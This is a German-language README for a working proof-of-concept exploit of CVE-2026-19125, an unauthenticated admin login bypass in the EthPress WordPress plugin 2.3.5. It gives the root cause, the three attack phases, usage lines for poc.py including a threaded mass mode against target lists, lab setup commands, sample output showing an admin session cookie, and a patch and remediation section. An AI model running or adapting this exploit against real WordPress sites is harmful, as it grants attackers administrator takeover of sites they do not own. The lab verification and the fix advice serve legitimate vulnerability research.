CVE-2026-19125 — EthPress <= 2.3.5 Unauthentifizierte Authentifizierungsumgehung

Funktionierender, verifizierter Proof-of-Concept für die Umgehung der EthPress-Wallet-Login-Authentifizierung, entwickelt und validiert gegen das X-1-Localhost-Lab.

• Ergebnis: Ein nicht authentifizierter Angreifer erhält eine gültige WordPress-Administrator-Sitzung (RAZZ, Benutzer-ID 1, roles=['administrator']) und benötigt dafür lediglich eine öffentliche Wallet-Adresse.
• Lab: http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)
• Verwundbarer Build im Lab aktiv: ethpress 2.3.5
• Vergleichs-Build (nicht installiert): ethpress 2.3.6 in _plugin-reference/

1. TL;DR des Bugs

app/Login.php::verify_login() (v2.3.5) prüft die Wallet-Signatur, erzeugt bei fehlgeschlagener Prüfung einen WP_Error — und vergisst dann das return:

51   if ( !$verified ) {
52       $user = new \WP_Error('ethpress', $verify_error);   // dead store, no return
53   }
54   // Log in.                                              // fall-through
55   try {
...
70       $user = $address->log_in();                         // wp_set_auth_cookie()

Die Ausführung läuft weiter in den Login-Block, Address::log_in() löst die vom Angreifer übergebene Wallet-Adresse zu ihrem zugehörigen WordPress-Benutzer auf, und wp_set_auth_cookie() authentifiziert diesen Benutzer. Die Antwort ist {"success":true,"data":{"message":"Logged in"}}.

2. Ausführen des PoC

# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a

# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET

# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl

Flags

requests ist die einzige Abhängigkeit (pip install requests). Die gesamte Ethereum-Kryptografie (Keccak-256, secp256k1, RFC-6979-Signierung, Adress-Recovery) ist in poc.py ausschließlich mit der Standardbibliothek implementiert.

Beispielausführung (Lab)

[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080    EXPLOITED   authentication cookie accepted by WordPress (full administrator confirmed)
[!]   !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!]   !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...

3. Wie der Exploit funktioniert (3 Phasen)

1. Nonce erbeuten. GET /wp-login.php und ethpressLoginWP.loginNonce auslesen. Es handelt sich um ein wp_create_nonce('ethpress_log_in'), das für eine anonyme (uid=0) Sitzung erzeugt wurde und daher für den eigenen nicht authentifizierten AJAX-Aufruf des Angreifers gültig ist.
2. Beliebige Daten mit dem eigenen Schlüssel des Angreifers signieren. Die Signatur ist kryptografisch einwandfrei, stellt aber die Adresse des Angreifers wieder her, die von der übergebenen coinbase abweicht. verify2() gibt [false, error] zurück — und 2.3.5 verwirft dies. (Eine vollständig leere Signatur funktioniert ebenfalls; poc.py fällt automatisch darauf zurück.)
3. Die Sitzung nachweisen. Mit dem ausgestellten Cookie /wp-admin/ erreichen, den REST-Nonce der Sitzung auslesen und /wp/v2/users/me?context=edit aufrufen → echte Benutzer-ID, Login und Rollen; zusätzlich den Zugriff auf vier reine Administrator-Oberflächen bestätigen.

4. Verifikationsmatrix (alles ausgeführt, nicht behauptet)

Beliebigen Teil davon reproduzieren:

bash lab-switch-version.sh 2.3.6        # patched  -> exploit fails
bash lab-switch-version.sh 2.3.5        # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh              # tool-free curl transcript
python3 boundary-test.py                # signature-input matrix

5. Verwendeter Lab-Aufbau

# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/   # 200

# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
  wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
  && find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
  && find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root     # version 2.3.5

# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root

wp user meta update schreibt genau den Storage-Key, den auch das plugin-eigene Address::create() schreibt (update_user_meta($uid, 'ethpress', $coinbase)), sodass die Vorbedingung auf dem legitimen Weg bereitgestellt wird — keine künstliche Abschwächung des Ziels.

Referenz-Builds zum Diffen liegen außerhalb des Plugin-Verzeichnisses: ../_plugin-reference/ethpress/{vulnerable,latest}.

Aufgetretene Lab-Fallgrube (dokumentiert, inzwischen behandelt)

Ein In-Place-Austausch der Plugin-Versionen, während Apache weiterläuft, lässt den alten kompilierten Bytecode im OPcache zurück. PHP führt dann weiterhin die Dateien der vorherigen Version aus; da freemius/start.php:584 in 2.3.6 freemius/require.php → includes/class-fs-hook-snapshot.php benötigt (eine Datei, die nur in 2.3.6 existiert), lieferte die Seite HTTP 500, obwohl 2.3.5 auf der Platte lag. lab-switch-version.sh startet wp_app jetzt nach jedem Wechsel neu und wartet darauf, dass /wp-login.php 200 zurückgibt. Immer die laufende Version bestätigen, nicht nur die auf der Platte.

Exit-Codes

-a ist das Eine, das stimmen muss

-a/--address muss die Wallet-Adresse sein, die bereits verknüpft ist mit dem Ziel-WordPress-Konto — d. h. die wp_usermeta-Zeile mit meta_key = 'ethpress'. Der PoC kann sie nicht erraten: Die Adresse wird nirgendwo öffentlich preisgegeben.

docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a   use THIS value

Wenn Sie eine andere Adresse übergeben, endet der Lauf als exploited 0 / 1 — aber der Umgehungsmechanismus selbst funktioniert, die Adresse löst lediglich zu keinem Benutzer auf. Der PoC gibt jetzt einen expliziten Block „warum es nicht geklappt hat“ plus Hinweise für jeden Nicht-Treffer aus, sodass dies nicht mehr stillschweigend geschieht.

Fehlerbehebung beim Lauf

6. Deliverable-Index

CVE-2026-19125/
├── README.md                     this file
├── analysis.md                   root cause, patch, chain, reliability, remediation
├── intel.md                      advisory facts + verification-vs-advisory table
├── poc.py                        the exploit (self-contained crypto, -f -t -o)
├── patch.diff                    app/Login.php  2.3.5 -> 2.3.6
├── boundary-test.py              signature-input boundary harness
├── lab-switch-version.sh         swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt         vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt              attack-surface: ethpress AJAX registrations
├── hooks.txt                     hook registrations (Plugin::attach_hooks)
├── results.jsonl                 exploitation record (2.3.5)          <- success
├── results-patched.jsonl         exploitation record (2.3.6 control)  <- blocked
├── results-neg.jsonl             negative control (unlinked address)
└── evidence/
    ├── raw-transcript.txt        raw HTTP: nonce -> bypass -> cookie -> admin proof
    ├── raw-repro.sh              regenerates the above
    ├── boundary-matrix.txt       which signature inputs bypass / 500 / fail
    ├── run-positive.log          PoC run on 2.3.5
    ├── run-patched-236.log       PoC run on 2.3.6
    └── results-registration-open.jsonl   users_can_register=1 branch behaviour

7. Behebung

Aktualisieren Sie EthPress auf 2.3.6 oder neuer. Es gibt keinen Konfigurations-Workaround: Der Fehler liegt im Login-Kontrollfluss selbst. Wenn ein Upgrade nicht sofort möglich ist, deaktivieren Sie den Wallet-Login des Plugins (oder das Plugin) und prüfen Sie wp_usermeta auf ethpress-Verknüpfungen bei privilegierten Konten.

8. Haftungsausschluss

Nur für autorisierte Sicherheitsforschung in einem isolierten Localhost-Lab. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für deren Test Sie keine schriftliche Genehmigung haben. Autor: Poloss.